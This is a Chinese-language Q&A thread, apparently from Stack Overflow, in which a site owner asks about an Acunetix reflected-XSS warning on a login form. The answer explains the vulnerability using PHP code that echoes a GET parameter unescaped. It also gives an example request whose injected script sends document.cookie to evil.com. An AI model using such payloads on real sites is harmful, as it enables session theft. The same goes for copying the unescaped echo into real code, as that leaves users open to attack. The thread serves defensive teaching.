2012-01-12 179 views
1

我的網站上運行的Acunetix顯示以下的JavaScript的Acunetix安全掃描警告

URL編碼的GET輸入用戶名嚴重漏洞被設置爲「的onmouseover =提示(994492)不良=」輸入反映雙之間的標記元素中引號。

我試圖弄清楚可以用這個做什麼。我對編碼相當陌生,並且正在尋找一些提示。什麼可以被視爲惡意的用戶名輸入?輸入的代碼是否只能在客戶端PC上運行,而不在服務器上運行?

例子?解決方案?對不起,我只包括了我相信它引用的內容。鏈接到我的網站,如果它有被剝削的危險,這不是不好嗎?

<form name="loginForm" action="LoginName.asp" method="post"> 
    <fieldset> 
    <label for="username">User</label> 
    <input type="text" name="username" value=""/> 
    <label for="password">Password</label> 
    <input type="password" name="password"/> 
    </fieldset> 
    <input type="hidden" name="originalURL" value=""> 
    <input type="submit" value="Login" class="form-btn" /> 
</form> 

這似乎並不像用戶名或OriginalURL並說「惡意用戶可以插入JavaScript,VBScript中的ActiveX,HTML或Flash成漏洞的應用程序,以便從他們收集的數據來欺騙用戶。一個攻擊者可以竊取會話cookie並接管賬戶,冒充用戶,也可以修改呈現給用戶的頁面內容。「

+0

https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet – epascarello 2012-01-12 01:24:24

回答

1

您遇到的問題是跨站點腳本(XSS)漏洞。

XSS是一個客戶端漏洞,因此對於您的問題「輸入的任何代碼只能在客戶端PC上運行而不在服務器上運行?」,問題的答案是它實際上運行在用戶的瀏覽器。

起初看起來似乎無害,但XSS可能會產生一些嚴重的後果,特別是在與其他攻擊(如網絡釣魚)結合使用時。 XSS可以用於一些邪惡的東西,包括:

  • 竊取瀏覽器cookies並允許攻擊者冒充誰是當前登錄到一個應用程序
  • 網站塗改,或改變的佈局用戶
  • Drive-by downloads
  • 幾乎任何你可以在瀏覽器中做

基於什麼報道的Acunetix(onmouseover=prompt(994492) bad=)聽起來李攻擊者可以將"字符注入HTML屬性的值中。我將嘗試用一些示例PHP代碼來解釋我的意思。

// Vulnerable to Reflected XSS 
echo '<div class="' . $_GET['c'] . '"></div>'; 

在上面的例子,一個普通用戶將使像的請求:

​​

而這將導致在下面被打印到頁:

<div class="blue"></div> 

但是一個攻擊者可以以某種方式說服用戶(例如,通過網絡釣魚)做出以下要求:

GET /test.php?c="><script>window.location='http://evil.com/?cookie=' + document.cookie</script> HTTP/1.1 

這將導致:

<div class=""><script>window.location='http://evil.com/?cookie=' + document.cookie</script></div> 

一旦受害人提出這一請求,攻擊者可以複製用戶的cookie的內容,並模仿他們(假設受害者在攻擊者竊取cookie時登錄)。

想了解更多關於XSS的信息,我建議看看this article,這有點簡單,但它應該是一個堅實的基礎。

此外,我還建議閱讀this article修復XSS漏洞。

此外,重新「如果鏈接到我的網站是否有被剝削的危險,這不是壞事嗎?」 - 最好不要,直到你至少修復它:)